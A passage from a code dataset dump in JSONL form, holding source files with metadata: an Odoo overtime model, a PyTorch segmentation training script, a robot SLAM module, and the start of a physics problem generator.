"dataset": "github-code", "pt": "85", "api": [{"api_name": "scipy.io.loadmat", "line_number": 7, "usage_type": "call"}]} +{"seq_id": "15977509999", "text": "from faulthandler import cancel_dump_traceback_later\nfrom odoo import _, fields, models, api\nfrom odoo.exceptions import ValidationError, UserError\n\nfrom ..utils import utils_date\nimport pytz\nfrom datetime import datetime, timedelta\n\nimport logging\n\n_logger = logging.getLogger(__name__)\n\n\nclass HrOvertime(models.Model):\n _name = \"hr.overtime\"\n _description = \"\"\"\nThis is the model for the Overtime. It is used to store the data for the Overtime.\n\"\"\"\n\n states = [\n (\"DRAFT\", \"Draft\"),\n (\"ACCEPTED\", \"Accepted\"),\n (\"VALIDATED\", \"Validated\"),\n (\"OVER\", \"Over\"),\n ]\n cancelled_choices = [\n (\"Y\", \"Cancelled\"),\n (\"N\", \"\"),\n ]\n\n employee_id = fields.Many2one(\n \"hr.employee\", string=\"Employee\", compute=\"_compute_employee_id\", store=True\n )\n ot_schedule = fields.Many2one(\n \"hr.overtime.schedule\",\n string=\"Schedule\",\n readonly=True,\n required=True,\n ondelete=\"cascade\",\n )\n hours = fields.Float(\n string=\"Hours\", readonly=True, compute=\"_compute_hours\", store=True\n )\n\n date_start = fields.Datetime(\n string=\"Date Start\",\n required=True,\n default=(datetime.now() + timedelta(days=1)).replace(\n minute=0, second=0, microsecond=0\n ),\n )\n date_stop = fields.Datetime(\n string=\"Date Stop\",\n required=True,\n default=(datetime.now() + timedelta(days=1, hours=2)).replace(\n minute=0, second=0, microsecond=0\n ),\n )\n\n tz = fields.Selection(\n \"_tz_get\",\n string=\"Timezone\",\n required=True,\n default=lambda self: self.env.user.tz or \"UTC\",\n )\n work_entry_type_id = fields.Many2one(\n \"hr.work.entry.type\", string=\"Work Entry Type\", required=True\n )\n\n state = fields.Selection(states, string=\"State\", compute=\"_compute_state\")\n cancelled = fields.Selection(\n cancelled_choices, string=\"Cancelled\", default=\"N\", readonly=True\n )\n\n @api.model\n def _tz_get(self):\n \"\"\"Returns all the timezones\"\"\"\n return [(x, x) for x in pytz.all_timezones]\n\n def repeat(self, days):\n \"\"\"Duplicate the current OT with an offset of days.\"\"\"\n self.ensure_one()\n self.create(\n {\n \"ot_schedule\": self.ot_schedule.id,\n \"date_start\": self.date_start + timedelta(days=days),\n \"date_stop\": self.date_stop + timedelta(days=days),\n \"tz\": self.tz,\n \"work_entry_type_id\": self.work_entry_type_id.id,\n }\n )\n self.ot_schedule.set_to_draft()\n\n def repeat_next_day(self):\n \"\"\"Duplicate the current OT and set the date_start and date_stop to the next day.\"\"\"\n self.repeat(days=1)\n\n def repeat_next_week(self):\n \"\"\"Duplicate the current OT and set the date_start and date_stop to the next week.\"\"\"\n self.repeat(days=7)\n\n @api.constrains(\"date_start\", \"date_stop\")\n def _check_dates(self):\n \"\"\"Calls several methods to make sur the dates won't create any conflict.\"\"\"\n for record in self:\n record.check_dates()\n record.check_need_date()\n\n def check_need_date(self):\n \"\"\"If the OT's schedule has a Need, makes sure the OT is in the date range of the Need.\"\"\"\n for record in self:\n if record.ot_schedule.ot_need and record.ot_schedule.ot_need.date_to:\n date_to = datetime.combine(\n record.ot_schedule.ot_need.date_to, datetime.max.time()\n )\n if record.date_stop > date_to:\n raise ValidationError(\n _(\n \"OT end : (%(stop)s) must be before the date to : (%(limit)s).\",\n stop=record.date_stop,\n limit=date_to,\n )\n )\n\n def check_dates(self):\n \"\"\"Makes sure the OT's dates don't overlap, and that the date stop is later than the date start.\"\"\"\n\n def date_range_overlap(a_start, a_end, b_start, b_end):\n if (\n a_start <= b_start\n and b_start <= a_end\n #\n or a_start <= b_end\n and b_end <= a_end\n #\n or b_start <= a_start\n and a_end <= b_end\n ):\n return True\n else:\n return False\n\n for record in self:\n if record.date_stop and record.date_start >= record.date_stop:\n raise ValidationError(\n _(\n \"Start date (%(start)s) must be earlier than overtime end date (%(end)s).\",\n start=record.date_start,\n end=record.date_stop,\n )\n )\n\n employee_ots = self.env[\"hr.overtime\"].search(\n [\n (\"employee_id\", \"=\", self.ot_schedule.employee_id.id),\n ]\n )\n dates = [(ot.date_start, ot.date_stop) for ot in employee_ots]\n for i in range(0, len(dates)):\n for j in range(i + 1, len(dates)):\n if dates[i][0] and dates[i][1] and dates[j][0] and dates[j][1]:\n if date_range_overlap(\n dates[i][0], dates[i][1], dates[j][0], dates[j][1]\n ):\n raise ValidationError(\n _(\n 'One OT for employee {} (Schedule \"{}\") is overlapping :\\n{} || {}\\n{} || {}.'.format(\n self.ot_schedule.employee_id.name,\n self.ot_schedule.name,\n utils_date.utc_to_timestamp(dates[i][0], record.tz),\n utils_date.utc_to_timestamp(dates[i][1], record.tz),\n utils_date.utc_to_timestamp(dates[j][0], record.tz),\n utils_date.utc_to_timestamp(dates[j][1], record.tz),\n )\n )\n )\n j += 1\n i += 1\n\n @api.depends(\"ot_schedule\", \"write_date\")\n def _compute_employee_id(self):\n # TODO : duplicate with method `update_employee_ot` on the model schedule\n for record in self:\n record.compute_employee_id()\n\n def compute_employee_id(self):\n for record in self:\n record.employee_id = record.ot_schedule.employee_id\n\n @api.depends(\"date_start\", \"date_stop\", \"tz\")\n def _compute_hours(self):\n \"\"\"Count the time that this OT lasts.\"\"\"\n for record in self:\n record.hours = (record.date_stop - record.date_start).total_seconds() / 3600\n\n @api.depends(\"ot_schedule\")\n def _compute_state(self):\n \"\"\"Compute the state of the OT.\"\"\"\n for record in self:\n record.state = record.ot_schedule.state\n\n def count_hours(self):\n for record in self:\n record.ot_schedule.count_hours()\n if record.ot_schedule.ot_need:\n record.ot_schedule.ot_need.count_hours()\n\n def cancel(self):\n \"\"\"Cancel the OT.\"\"\"\n self.cancelled = \"Y\"\n self.count_hours()\n\n def revert_cancel(self):\n \"\"\"Revert the cancelation of the OT.\"\"\"\n self.cancelled = \"N\"\n self.count_hours()\n", "repo_name": "jonathangodot/MY-Outsourcing-Ltd", "sub_path": "hr_overtime/models/hr_overtime.py", "file_name": "hr_overtime.py", "file_ext": "py", "file_size_in_byte": 7490, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "odoo.models.Model", "line_number": 14, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 14, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 31, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 31, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 34, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 34, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 41, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 41, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime", "line_number": 45, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 45, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 48, "usage_type": "call"}, {"api_name": "odoo.fields.Datetime", "line_number": 52, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 52, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 55, "usage_type": "call"}, {"api_name": "odoo.fields.Selection", "line_number": 60, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 60, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 66, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 66, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 70, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 70, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 71, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 71, "usage_type": "name"}, {"api_name": "pytz.all_timezones", "line_number": 78, "usage_type": "attribute"}, {"api_name": "odoo.api.model", "line_number": 75, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 75, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 86, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 87, "usage_type": "call"}, {"api_name": "odoo.api.constrains", "line_number": 102, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 102, "usage_type": "name"}, {"api_name": "datetime.datetime.combine", "line_number": 113, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 113, "usage_type": "name"}, {"api_name": "datetime.datetime.max.time", "line_number": 114, "usage_type": "call"}, {"api_name": "datetime.datetime.max", "line_number": 114, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 114, "usage_type": "name"}, {"api_name": "odoo.exceptions.ValidationError", "line_number": 117, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 118, "usage_type": "call"}, {"api_name": "odoo.exceptions.ValidationError", "line_number": 145, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 146, "usage_type": "call"}, {"api_name": "odoo.exceptions.ValidationError", "line_number": 165, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 166, "usage_type": "call"}, {"api_name": "utils.utils_date.utc_to_timestamp", "line_number": 170, "usage_type": "call"}, {"api_name": "utils.utils_date", "line_number": 170, "usage_type": "name"}, {"api_name": "utils.utils_date.utc_to_timestamp", "line_number": 171, "usage_type": "call"}, {"api_name": "utils.utils_date", "line_number": 171, "usage_type": "name"}, {"api_name": "utils.utils_date.utc_to_timestamp", "line_number": 172, "usage_type": "call"}, {"api_name": "utils.utils_date", "line_number": 172, "usage_type": "name"}, {"api_name": "utils.utils_date.utc_to_timestamp", "line_number": 173, "usage_type": "call"}, {"api_name": "utils.utils_date", "line_number": 173, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 180, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 180, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 190, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 190, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 196, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 196, "usage_type": "name"}]} +{"seq_id": "39181850981", "text": "import argparse\nimport collections\n\nimport torch\nimport pandas as pd\n\nfrom catalyst.dl.callbacks import CheckpointCallback, InferCallback\nfrom catalyst.dl.experiments import SupervisedRunner\nfrom catalyst.dl.utils import UtilsFactory\n\nfrom clearcut_research.pytorch.models.utils import get_model, set_random_seed\nfrom clearcut_research.pytorch.losses import MultiClass_Dice_Loss\nfrom clearcut_research.pytorch.models.multiclass_prediction.multiclass_dataset import MulticlassDataset\nfrom clearcut_research.pytorch.models.multiclass_prediction.multiclass_dice_callback import MultiClassDiceCallback\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n arg = parser.add_argument\n\n arg('--batch_size', type=int, default=8)\n arg('--num_workers', type=int, default=4)\n arg('--epochs', '-e', type=int, default=100)\n\n arg('--logdir', default='../logs')\n arg('--train_df', '-td', default='../data/train_df.csv')\n arg('--val_df', '-vd', default='../data/val_df.csv')\n arg('--dataset_path', '-dp', default='../data/input', help='Path to the data')\n\n arg('--image_size', '-is', type=int, default=224)\n arg('--network', '-n', default='unet50')\n arg(\n '--channels', '-ch',\n default=[\n 'rgb', 'ndvi', 'ndvi_color',\n 'b2', 'b3', 'b4', 'b8'\n ], nargs='+', help='Channels list')\n\n return parser.parse_args()\n\n\ndef train(args):\n set_random_seed(42)\n model = get_model('fpn50_multiclass')\n\n print(\"Loading model\")\n model, device = UtilsFactory.prepare_model(model)\n\n train_df = pd.read_csv(args.train_df).to_dict('records')\n val_df = pd.read_csv(args.val_df).to_dict('records')\n\n ds = MulticlassDataset(args.channels, args.dataset_path, args.image_size, args.batch_size, args.num_workers)\n loaders = ds.create_loaders(train_df, val_df)\n\n criterion = MultiClass_Dice_Loss()\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)\n scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones=[10, 20, 40], gamma=0.3)\n\n # model runner\n runner = SupervisedRunner()\n\n # model training\n runner.train(\n model=model,\n criterion=criterion,\n optimizer=optimizer,\n scheduler=scheduler,\n loaders=loaders,\n callbacks=[\n MultiClassDiceCallback()\n ],\n logdir=args.logdir,\n num_epochs=args.epochs,\n verbose=True\n )\n\n infer_loader = collections.OrderedDict([(\"infer\", loaders[\"valid\"])])\n runner.infer(\n model=model,\n loaders=infer_loader,\n callbacks=[\n CheckpointCallback(\n resume=f\"{args.logdir}/checkpoints/best.pth\"),\n InferCallback()\n ],\n )\n\n\nif __name__ == '__main__':\n args = parse_args()\n train(args)\n", "repo_name": "vldkhramtsov/deforestation-detection", "sub_path": "segmentation/pytorch/models/multiclass_prediction/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 2782, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "85", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 18, "usage_type": "call"}, {"api_name": "clearcut_research.pytorch.models.utils.set_random_seed", "line_number": 43, "usage_type": "call"}, {"api_name": "clearcut_research.pytorch.models.utils.get_model", "line_number": 44, "usage_type": "call"}, {"api_name": "catalyst.dl.utils.UtilsFactory.prepare_model", "line_number": 47, "usage_type": "call"}, {"api_name": "catalyst.dl.utils.UtilsFactory", "line_number": 47, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 49, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 50, "usage_type": "call"}, {"api_name": "clearcut_research.pytorch.models.multiclass_prediction.multiclass_dataset.MulticlassDataset", "line_number": 52, "usage_type": "call"}, {"api_name": "clearcut_research.pytorch.losses.MultiClass_Dice_Loss", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.optim.lr_scheduler.MultiStepLR", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 57, "usage_type": "attribute"}, {"api_name": "catalyst.dl.experiments.SupervisedRunner", "line_number": 60, "usage_type": "call"}, {"api_name": "clearcut_research.pytorch.models.multiclass_prediction.multiclass_dice_callback.MultiClassDiceCallback", "line_number": 70, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 77, "usage_type": "call"}, {"api_name": "catalyst.dl.callbacks.CheckpointCallback", "line_number": 82, "usage_type": "call"}, {"api_name": "catalyst.dl.callbacks.InferCallback", "line_number": 84, "usage_type": "call"}]} +{"seq_id": "25398678166", "text": "\"\"\"Module containing the main SLAM calculations.\"\"\"\n\nimport threading\nimport time\nimport copy\n\nimport numpy\nfrom PIL import Image\nfrom scipy import stats\n\nfrom server import util, robot, world, occupancy\n\nSAMPLES = 400\n\nDISTANCE_MEAN = 100.1188119\nDISTANCE_STDDEV = 8.803385712\n\nANGLE_MEAN = 90.01\nANGLE_STDDEV = 4.07797744\n\n\nclass Slam(threading.Thread):\n \"\"\"Class which contains the main SLAM loop.\n \n Attributes:\n running (bool): Thread running.\n naive (bool): Whether to run naively.\n controlled (bool): Whether the robot is controlled manually.\n comm (communication.Comm): Object for communicating with the Raspberry Pi.\n grid (occupancy.Grid): Object for storing the map.\n allow_control (bool): Whether input commands will be sent to the robot.\n landmarks (array): List of unique landmarks.\n prev (robot.State): Copy of previous robot state.\n current (robot.State): The current state of the robot.\n landmark_mode (util.LandmarkMode): Which landmark extraction method to use.\n slam_mode (util.SlamMode): Which SLAM method to use.\n drift_error (float): Speed to drift in the +x direction.\n paused (bool): SLAM paused.\n pause_cond (threading.Condition): Condition for managing paused state.\n \"\"\"\n def __init__(self, comm, grid, landmark_type=util.LandmarkMode.HOUGH, drift_error=0):\n \"\"\"Initialise SLAM object.\n\n Args:\n comm (robot.Robot): Communication object.\n grid (robot.Grid): Occupancy grid.\n landmark_type (util.LandmarkMode): Method of landmark extraction.\n drift_error (float): Speed to drift in the +x direction.\n \"\"\"\n threading.Thread.__init__(self)\n\n self.running = True\n self.controlled = True\n self.naive = False\n self.comm = comm\n self.grid = grid\n self.allow_control = self.controlled\n self.landmarks = []\n self.prev = copy.deepcopy(self.comm.robot)\n self.current = copy.deepcopy(self.comm.robot)\n\n self.landmark_mode = landmark_type\n self.slam_mode = util.SlamMode.LANDMARKS\n\n self.comm.drift_error = drift_error\n\n self.paused = False\n self.pause_cond = threading.Condition(threading.Lock())\n\n def run(self):\n \"\"\"Main loop.\"\"\"\n while self.running:\n self.wait_for_command()\n measurements = self.take_measurements()\n self.update_model(measurements)\n self.move_robot(measurements)\n\n def get_scan_matching_distribution(self, angles, translations, centre):\n \"\"\"Get the probability distribution by performing scan matching between the current scan and the known map.\n \n Args:\n angles (list): The angles to search through.\n translations (list): The translations to search through.\n centre (np.ndarray): Coordinates to centre the distribution at.\n \"\"\"\n dist = {}\n\n # Convert the maps to black and white\n global_map = occupancy.black_white(self.grid.view_images[self.grid.view_mode.ADJUSTED])\n local_map = occupancy.black_white(self.grid.view_images[self.grid.view_mode.LOCAL])\n for translation in translations:\n translated_map = occupancy.translate(local_map, 0, centre, centre + translation)\n for angle in angles:\n rotated_map = occupancy.translate(translated_map, angle, centre + translation)\n # Find image which is the two overlapped.\n rotated_map.paste(global_map, mask=rotated_map)\n # Get number of places they overlap.\n value = numpy.array(rotated_map).mean()\n dist[(tuple(translation), angle)] = value\n return dist\n\n def get_landmark_distribution(self, landmarks, angles, translations):\n \"\"\"Get the probability distribution by comparing new landmarks to old landmarks.\n \n Args:\n landmarks: The list of new, matched landmarks.\n angles (list): The angles to search through.\n translations (list): The translations to search through.\n \"\"\"\n landmark_distribution = {}\n for dp in translations: # For each alternative distance.\n for ap in angles: # For each alternative angle turned.\n\n # Calculate the position if this angle and distance had been moved.\n alternative_location = numpy.array(dp + self.current.adjusted.location)\n\n landmark_distribution[(tuple(dp), ap)] = 1.0\n\n for landmark in landmarks:\n # Find where this landmark would be if the robot had moved to this alternate location.\n alternative_landmark = landmark.transform(alternative_location, ap, dp)\n\n # Find probability of this matching its associated landmark, based on inverse distance.\n landmark_distribution[(tuple(dp), ap)] *= alternative_landmark.probability(landmark.association)\n\n return landmark_distribution\n \n def get_prior_distribution(self):\n \"\"\"Get the prior normal distribution for position and angle.\"\"\"\n # Calculate change in angle and distance moved.\n turned = self.current.adjusted.heading - self.prev.adjusted.heading\n distance = util.dist(self.current.adjusted.location, self.prev.adjusted.location)\n\n # Calculate probability distribution for angle turned.\n angle_std = ((abs(turned)) / ANGLE_MEAN) * ANGLE_STDDEV + 5\n angle_keys = [i for i in range(int(-angle_std * 2), int(angle_std * 2) + 1)]\n angle_values = stats.norm.pdf(angle_keys, 0, angle_std)\n angle_probs = {angle_keys[i]: angle_values[i] for i in range(len(angle_keys))}\n\n # Calculate probability distribution for position.\n distance_std = (distance / DISTANCE_MEAN) * DISTANCE_STDDEV + 1\n distance_distribution = stats.norm(0, distance_std)\n\n position_keys = [numpy.array([i, j]) for i in range(-3, 4) for j in range(-3, 4)]\n prior_distribution = {}\n for pos in position_keys:\n for ang in angle_keys:\n distance = util.dist(self.current.adjusted.location, pos+self.current.adjusted.location)\n prior_distribution[tuple(pos), ang] = distance_distribution.pdf(distance) * angle_probs[ang]\n \n return prior_distribution, angle_keys, position_keys\n\n def update_model(self, measurements):\n \"\"\"Update the map based on new measurements, depending on the mode selected.\n \n Args:\n measurements (list): Newly observed measurements.\n \"\"\"\n # Get the prior probability distribution.\n prior_distribution, angles, translations = self.get_prior_distribution()\n landmarks = []\n\n if self.slam_mode == util.SlamMode.LANDMARKS:\n # Extract the landmarks.\n if self.landmark_mode == util.LandmarkMode.HOUGH:\n landmarks = world.extract_hough_landmarks(self.grid.view_images[self.grid.view_mode.LOCAL])\n else:\n landmarks = world.extract_landmarks(measurements)\n # Associate the landmarks.\n world.associate_landmarks(landmarks, [l for l in self.landmarks if not l.association])\n associated_landmarks = [l for l in landmarks if l.association]\n # Calculate the SLAM distribution from the extracted landmarks.\n slam_distribution = self.get_landmark_distribution(associated_landmarks, angles, translations)\n else:\n # Calculate the SLAM distribution using scan matching.\n slam_distribution = self.get_scan_matching_distribution(angles, translations,\n self.current.adjusted.location)\n # Make the minimum value have probability 0.\n smallest = min(list(slam_distribution.values()))\n slam_distribution = {key: slam_distribution[key] - smallest for key in slam_distribution}\n\n # Normalise the distributions.\n normalised_slam_distribution = util.normalise_distribution(slam_distribution)\n normalised_prior_distribution = util.normalise_distribution(prior_distribution)\n\n # Combine the distributions by multiplying them.\n combined_distribution = {key: normalised_prior_distribution[key] * normalised_slam_distribution[key]\n for key in normalised_prior_distribution}\n\n # Plot the distributions.\n self.plot_distributions(normalised_prior_distribution, normalised_slam_distribution, combined_distribution)\n\n # Calculate the optimal amount to move the robot.\n delta = max(combined_distribution, key=combined_distribution.get)\n self.comm.robot.adjustment.delta(delta[0], delta[1])\n adjusted_map = occupancy.translate(self.grid.view_images[self.grid.view_mode.LOCAL], -delta[1],\n self.current.adjusted.location + self.grid.origin,\n self.current.adjusted.location + self.grid.origin + numpy.array(delta[0]))\n\n # Combine the latest scan into the image.\n global_map = numpy.array(self.grid.view_images[self.grid.view_mode.ADJUSTED].convert(\"L\")).astype(float)\n local_map = numpy.array(adjusted_map.convert(\"L\")).astype(float)\n self.grid.view_images[self.grid.view_mode.ADJUSTED] = Image.fromarray(global_map * local_map * 2 / 255).convert(\n \"RGBA\")\n\n # Adjust the new landmarks and append them to the landmark array.\n adjusted_landmarks = [landmark.transform(self.current.adjusted.location, delta[1], delta[0]) for landmark in\n landmarks]\n self.landmarks.extend(adjusted_landmarks)\n\n def plot_distributions(self, normalised_prior_distribution, normalised_slam_distribution, combined_distribution):\n \"\"\"Plot each of the distributions for visualisation.\"\"\"\n plot_prior_distribution = {}\n plot_slam_distribution = {}\n plot_combined_distribution = {}\n loc = self.current.adjusted.location.astype(int)\n\n # Get the location distribution.\n for key in normalised_slam_distribution:\n new_key = tuple(numpy.array(key[0]) + loc)\n plot_slam_distribution[new_key] = plot_slam_distribution.get(new_key, 0) + normalised_slam_distribution[key]\n plot_combined_distribution[new_key] = plot_combined_distribution.get(new_key, 0) + combined_distribution[\n key]\n plot_prior_distribution[new_key] = plot_prior_distribution.get(new_key, 0) + normalised_prior_distribution[\n key]\n\n # Plot the distributions\n self.grid.plot_prob_dist(plot_slam_distribution, self.grid.probability_mode.SLAM_PROBABILITIES)\n self.grid.plot_prob_dist(plot_prior_distribution, self.grid.probability_mode.PRIOR_PROBABILITIES)\n self.grid.plot_prob_dist(plot_combined_distribution, self.grid.probability_mode.COMBINED_PROBABILITIES)\n \n def wait_for_command(self):\n \"\"\"Wait for an input, if in manual control mode.\"\"\"\n if self.controlled and not self.naive:\n self.pause()\n with self.pause_cond:\n while self.paused:\n self.pause_cond.wait()\n if not self.naive:\n self.allow_control = False\n self.comm.move(0, False)\n self.current = copy.deepcopy(self.comm.robot)\n\n def take_measurements(self):\n \"\"\"Get measurements.\"\"\"\n if not self.naive:\n self.grid.clear()\n self.comm.get_measurements()\n\n while len(self.comm.measurements) < SAMPLES and self.running:\n time.sleep(.02)\n\n measurements = self.comm.get_median_measurements()\n result = []\n for measurement in measurements:\n if measurement.distance < 255:\n result.append(measurement)\n self.grid.plot_measurement(measurement)\n\n return result\n else:\n for measurement in self.comm.measurements:\n if measurement.distance < 255:\n self.grid.plot_measurement(measurement, naive=True)\n\n def move_robot(self, measurements):\n \"\"\"Move the robot, turning if there is an object in front of it.\n \n Args:\n measurements (list): List of measurements.\n \"\"\"\n self.prev = copy.deepcopy(self.current)\n self.allow_control = self.controlled\n if not self.controlled:\n obstacles = [m for m in measurements if util.angle_diff(m.angle, 0) < 20 and m.distance < 30]\n if len(obstacles) > 0:\n self.comm.turn(90)\n self.comm.drive(30)\n\n def pause(self):\n \"\"\"Pause the SLAM algorithm.\"\"\"\n if not self.paused:\n self.paused = True\n self.pause_cond.acquire()\n\n def resume(self):\n \"\"\"Resume the SLAM algorithm.\"\"\"\n if self.paused:\n self.paused = False\n self.pause_cond.notify()\n self.pause_cond.release()\n\n def stop(self):\n \"\"\"Stop the SLAM algorithm.\"\"\"\n self.running = False\n self.resume()\n", "repo_name": "yusufzerdazi/raspberry-pi-robot", "sub_path": "server/slam.py", "file_name": "slam.py", "file_ext": "py", "file_size_in_byte": 13308, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "threading.Thread", "line_number": 22, "usage_type": "attribute"}, {"api_name": "server.util.LandmarkMode", "line_number": 41, "usage_type": "attribute"}, {"api_name": "server.util", "line_number": 41, "usage_type": "name"}, {"api_name": "threading.Thread.__init__", "line_number": 50, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 50, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 59, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 60, "usage_type": "call"}, {"api_name": "server.util.SlamMode", "line_number": 63, "usage_type": "attribute"}, {"api_name": "server.util", "line_number": 63, "usage_type": "name"}, {"api_name": "threading.Condition", "line_number": 68, "usage_type": "call"}, {"api_name": "threading.Lock", "line_number": 68, "usage_type": "call"}, {"api_name": "server.occupancy.black_white", "line_number": 89, "usage_type": "call"}, {"api_name": "server.occupancy", "line_number": 89, "usage_type": "name"}, {"api_name": "server.occupancy.black_white", "line_number": 90, "usage_type": "call"}, {"api_name": "server.occupancy", "line_number": 90, "usage_type": "name"}, {"api_name": "server.occupancy.translate", "line_number": 92, "usage_type": "call"}, {"api_name": "server.occupancy", "line_number": 92, "usage_type": "name"}, {"api_name": "server.occupancy.translate", "line_number": 94, "usage_type": "call"}, {"api_name": "server.occupancy", "line_number": 94, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "server.util.dist", "line_number": 132, "usage_type": "call"}, {"api_name": "server.util", "line_number": 132, "usage_type": "name"}, {"api_name": "scipy.stats.norm.pdf", "line_number": 137, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 137, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 137, "usage_type": "name"}, {"api_name": "scipy.stats.norm", "line_number": 142, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 142, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 144, "usage_type": "call"}, {"api_name": "server.util.dist", "line_number": 148, "usage_type": "call"}, {"api_name": "server.util", "line_number": 148, "usage_type": "name"}, {"api_name": "server.util.SlamMode", "line_number": 163, "usage_type": "attribute"}, {"api_name": "server.util", "line_number": 163, "usage_type": "name"}, {"api_name": "server.util.LandmarkMode", "line_number": 165, "usage_type": "attribute"}, {"api_name": "server.util", "line_number": 165, "usage_type": "name"}, {"api_name": "server.world.extract_hough_landmarks", "line_number": 166, "usage_type": "call"}, {"api_name": "server.world", "line_number": 166, "usage_type": "name"}, {"api_name": "server.world.extract_landmarks", "line_number": 168, "usage_type": "call"}, {"api_name": "server.world", "line_number": 168, "usage_type": "name"}, {"api_name": "server.world.associate_landmarks", "line_number": 170, "usage_type": "call"}, {"api_name": "server.world", "line_number": 170, "usage_type": "name"}, {"api_name": "server.util.normalise_distribution", "line_number": 183, "usage_type": "call"}, {"api_name": "server.util", "line_number": 183, "usage_type": "name"}, {"api_name": "server.util.normalise_distribution", "line_number": 184, "usage_type": "call"}, {"api_name": "server.util", "line_number": 184, "usage_type": "name"}, {"api_name": "server.occupancy.translate", "line_number": 196, "usage_type": "call"}, {"api_name": "server.occupancy", "line_number": 196, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 202, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 203, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 203, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 220, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 242, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 251, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 272, "usage_type": "call"}, {"api_name": "server.util.angle_diff", "line_number": 275, "usage_type": "call"}, {"api_name": "server.util", "line_number": 275, "usage_type": "name"}]} +{"seq_id": "21453209609", "text": "import random\nimport math\nimport json\n\nsamples = []\nno_of_samples = 20\n\npi = math.pi\nmu = 4 * pi * (10 ** -7)\n\ndef calculate_emf(b, l, v):\n v = v * (10 ** -2)\n l = l * (10 ** -2)\n emf = b * l * v\n time_last = l / v\n return \"{:.2e}\".format(emf), \"{:.2e}\".format(time_last)\n\ndef type1():\n b = random.randint(1, 200)\n b = round(b * 0.1, 1)\n v = random.randint(1, 100)\n l1 = random.randint(1, 30)\n l2 = random.randint(1, 30)\n while l2 == l1:\n l2 = random.randint(1, 30)\n q = \"A rectangular wire loop of sides \" + str(l1) + \" cm and \" + str(l2) + \" cm with a small cut is moving out of a region of uniform magnetic field of magnitude \" + str(b) + \" T directed normal to the loop. What is the emf developed across the cut if the velocity of the loop is \" + str(v) + \" cm/s in a direction normal to the two different sides of the loop? For how long does the induced voltage last in each case?\\n\"\n a1, a2 = calculate_emf(b, l1, v)\n a = a1 + \" volt for \" + a2 + \" s if the velocity is perpendicular to the \" + str(l1) + \" cm side, \"\n a1, a2 = calculate_emf(b, l2, v)\n a += a1 + \" volt for \" + a2 + \" s if the velocity is 